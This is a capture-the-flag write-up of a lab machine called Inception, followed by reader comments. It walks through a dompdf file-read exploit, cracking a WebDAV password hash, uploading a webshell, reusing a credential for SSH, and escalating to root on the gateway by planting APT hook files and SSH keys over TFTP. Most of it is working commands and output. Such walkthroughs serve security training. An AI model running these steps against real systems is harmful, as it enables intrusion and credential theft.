Inception write-up by Alamot


Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500

Starting masscan 1.0.4 ( at 2018-04-14 09:24:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on                                     
Discovered open port 3128/tcp on   

We found TCP ports 80 and 3128 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,3128
Starting Nmap 7.70 ( ) at 2018-04-14 12:28 EEST
Nmap scan report for
Host is up (0.085s latency).

80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Getting shell

If we view the the source code of the main page (view-source: we notice a comment:

<!-- Todo: test dompdf on php 7.x -->

Let’s try to visit

Index of /dompdf
[ICO]       Name                         Last modified       Size
[PARENTDIR] Parent Directory         -
[   ]              2014-01-26 20:25    3.1K
[   ]       LICENSE.LGPL                 2013-05-24 03:47    24K
[   ]                    2014-02-07 03:30    4.8K
[   ]       VERSION                      2014-02-07 06:35    5
[   ]       composer.json                2014-02-02 08:33    559
[   ]       dompdf.php                   2013-05-24 03:47    6.9K
[   ] 2013-11-07 04:45    1.2K
[   ]        2017-11-06 02:21    13K
[DIR]       include/                     2014-02-08 01:00    -
[DIR]       lib/                         2014-02-08 01:00    -
[   ]       load_font.php                2013-05-24 03:47    5.2K
Apache/2.4.18 (Ubuntu) Server at Port 80

Nice. Let’s check its version


Now, we can search for exploits:

$ searchsploit dompdf 0.6.0 -w
dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read
dompdf 0.6.0 beta1 - Remote File Inclusion

Exploit 33004 inform us for arbitrary file read vulnerability is present on dompdf.php file:

GET /dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE> HTTP/1.1

Let’s test it

ftp:x:107:112:ftp daemon,,,:/srv/ftp:/bin/false

Nice! It works. Now, let’s examine some interesting files:

    Alias /webdav_test_inception /var/www/html/webdav_test_inception
    <Location /webdav_test_inception>
        Options FollowSymLinks
        DAV On
        AuthType Basic
        AuthName "webdav test credential"
        AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
        Require valid-user


Interesting! Let’s see this webdav.passwd:


Let’s find the hash type (don’t forget to escape $ or enclose the whole hash in single quotes):

$ hashid \$apr1\$8rO7Smi4\$yqn7H.GvJFtsTou1a7VME0
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR) 
[+] Apache MD5

$ hashid '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
Analyzing '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0'
[+] MD5(APR) 
[+] Apache MD5 

Let’s crack (i.e. reverse) this hash:

$ hashcat -h | grep MD5 | grep APR
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server

$ hashcat -m 1600 '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0' /usr/share/dict/rockyou.txt

Therefore our webdav login credentials are webdav_tester:babygurl69. If you try to obtain a usual shell you will discover soon that most kinds of traffic are blocked by the firewall. So, we are gonna upload a webshell to get us going:

$ cadaver
dav:!> open
Authentication required for webdav test credential on server `':
Username: webdav_tester
Password: babygurl69
dav:/webdav_test_inception/> put b374k.php
Uploading b374k.php to `/webdav_test_inception/b374k.php':
Progress: [=============================>] 100.0% of 947 bytes succeeded.

Now, we can visit in order to have access to our webshell (use webdav_tester:babygurl69 again for credentials).

SSH shell

If we explore the box a little, using our webshell, we are gonna find MySQL credentials inside /var/www/html/wordpress_4.8.3/wp-config.php:

/** MySQL database username */ 
define('DB_USER', 'root'); 

/** MySQL database password */ 
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

Remember, we know already a user name from /etc/passwd (cobb). Maybe that password for MySQL is re-used. Let’s try it. First, add the squid proxy to /etc/proxychains.conf:

$ cat /etc/proxychains.conf
http 3128

Now let’s try this:

$ proxychains ssh cobb@
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib64/
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Strict chain  ...  ...  ...  OK
cobb@'s password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:
 * Management:
 * Support:
Last login: Sat Apr 14 12:01:57 2018 from

Yeah! It works! :smiley:

Now let’s see if our cobb user has any sudo right:

cobb@Inception:~$ sudo -l
[sudo] password for cobb: VwPddNh7xMZyDQoByQL4
Matching Defaults entries for cobb on Inception:
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobb may run the following commands on Inception:
   (ALL : ALL) ALL
cobb@Inception:~$ sudo -i (or sudo su)
Password: VwPddNh7xMZyDQoByQL4
root@Inception:/home/cobb# whoami

Wow! We are root. Let’s get this flag. :smiley:

root@Inception:/home/cobb# cd /root
root@Inception:~# cat root.txt
You're waiting for a train. A train that will take you far away. Wake up to find root.txt

Well… not so soon. It appears that we are inside another box.

Privilege escalation

Let’s explore a little:

root@Inception:~# cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

root@Inception:~# arp -a
? ( at fe:ae:a2:b2:88:11 [ether] on eth0

root@Inception:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:16:3e:28:53:63  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::216:3eff:fe28:5363/64 Scope:Link
          RX packets:858019 errors:0 dropped:0 overruns:0 frame:0
          TX packets:583712 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:74512993 (74.5 MB)  TX bytes:106431159 (106.4 MB)

root@Inception:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static

Well, it seems we are and our gateway is Let’s find what ports are listening on the gateway (Look mom! No need for nmap! :D):

root@Inception:~# nc -zv 1-65535 &> results && cat results | grep succeeded
Connection to 21 port [tcp/ftp] succeeded!
Connection to 22 port [tcp/ssh] succeeded!
Connection to 53 port [tcp/domain] succeeded!

Well, well. Port 21 (i.e. FTP) is open. Let’s try it:

root@Inception:/dev/shm# ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

That’s it! Now, if we explore a little the gateway, using our FTP access, we are gonna find some intresting things:

ftp> cd /etc
250 Directory successfully changed.
ftp> get passwd
local: passwd remote: passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (1622 bytes).
226 Transfer complete.
1622 bytes received in 0.00 secs (4.0600 MB/s)
ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (2.4464 MB/s)
ftp> cd default
250 Directory successfully changed.
ftp> get tftpd-hpa
local: tftpd-hpa remote: tftpd-hpa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for tftpd-hpa (118 bytes).
226 Transfer complete.
118 bytes received in 0.00 secs (281.0594 kB/s)
ftp> exit
221 Goodbye.
root@Inception:~# cat passwd
ftp:x:111:118:ftp daemon,,,:/srv/ftp:/bin/false
tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false

root@Inception:~# cat tftpd-hpa
# /etc/default/tftpd-hpa

TFTP_OPTIONS="--secure --create"

root@Inception:~# cat crontab
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
30 23	* * *	root	apt upgrade -y 2>&1 >/dev/null

We see that we have also TFTP access with writing permissions to create new files (in contrast our FTP access is read only):

--create, -c
      Allow new files to be created.   By  default,  tftpd  will  only
      allow  upload  of  files  that already exist.  Files are created
      with default permissions allowing anyone to read or write  them,
      unless the --permissive or --umask options are specified.

We have also a very interesting cron job which is executed every 5 minutes:

*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log

Getting root flag

Now, read this:
We can add some hooks to run a command or script after running apt-get by adding or editing files inside the /etc/apt/apt.conf.d/ directory:

root@Inception:/dev/shm# echo 'APT::Update::Pre-Invoke {"/bin/cp /root/root.txt /dev/shm/flag; chmod 755 /dev/shm/flag"};' > 100update
root@Inception:/dev/shm# tftp
tftp> put 100update /etc/apt/apt.conf.d/100update
Sent 56 bytes in 0.0 seconds
tftp> q

Now wait a little and the use ftp to read the flag:

root@Inception:~# ftp 
ftp> cd /dev/shm
ftp> get flag
ftp> bye
root@Inception:~# cat root.txt

Getting root shell (on via SSH)

We can create a private/public key pair for our user:

root@Inception:/home# cd /root/.ssh
root@Inception:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/
The key fingerprint is:
SHA256:o34Av3ZHFt2bC3ZW7A2Q7wlaARTZzXqkeAnf7+w8AcE root@Inception
The key's randomart image is:
+---[RSA 2048]----+
|         .+=.+   |
|          o =E+  |
|           = @.. |
|    .     o X.* o|
|     o  S  = +.O.|
|      o. .+ o B.+|
|      .o o . + +.|
|     .o o .   .oo|
|     ..o .     .+|

root@Inception:~/.ssh# ls
id_rsa  known_hosts

Then we can upload our public key on /root/.ssh/authorized_keys using TFTP. The problem with this approach is that TFTP creates the file with too broad permissions (anyone is allowed to read or write it). SSH public keys fail if authorized_keys has incorrect permissions. But, we can use our previous apt trick to set the correct permissions:

root@Inception:~/.ssh# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > 10update
root@Inception:~/.ssh# tftp
tftp> put /root/.ssh/authorized_keys
Sent 397 bytes in 0.0 seconds
tftp> put 10update /etc/apt/apt.conf.d/10update
Sent 67 bytes in 0.0 seconds
tftp> q

Now wait a little and then you can connect to as root via SSH:

root@Inception:~/.ssh# ssh root@
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

root@Inception:~# cat root.txt

Nice writeup!
+1 for the root shell in the end.

gr8, i used same way

Wonderful write-up Alamot!

Inception is a very nice box! And there is nice wordplay in the name Dom. It was very painful when I noticed that I can upload authorized_keys for root with TFTP and that it doesn’t work because of the permissions. At that point I had already spent considerable amount of effort to find a way to break out of the container.

Very nice. This is pretty much the exact same path I took too - I spent too long trying to get my authorized_keys working, before discovering the apt hook.